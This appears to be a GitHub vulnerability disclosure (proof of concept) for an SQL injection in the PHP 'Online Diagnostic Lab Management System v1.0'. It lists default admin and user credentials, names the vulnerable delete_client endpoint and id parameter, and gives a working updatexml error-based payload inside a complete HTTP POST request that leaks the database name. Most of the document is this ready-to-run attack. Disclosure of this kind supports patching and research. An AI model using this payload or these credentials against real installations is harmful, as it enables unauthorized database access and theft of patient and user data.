YorkLee53645349 Create SQLi-2.md History

1 contributor

39 lines (27 sloc) | 1.35 KB

Online Diagnostic Lab Management System v1.0 by oretnom23 has SQL injection

BUG_Author: YorkLee

Login account: admin/admin123 (Super Admin account)

Login account: cblake@sample.com/cblake123 (General account)

vendors: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /odlms/classes/Users.php?f=delete_client

Vulnerability location: /odlms/classes/Users.php?f=delete_client,id

dbname=odlms_db,length=8

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /odlms/classes/Users.php?f=delete_client HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.88/odlms/admin/?page=appointments
Content-Length: 66
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close

id=1'  and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```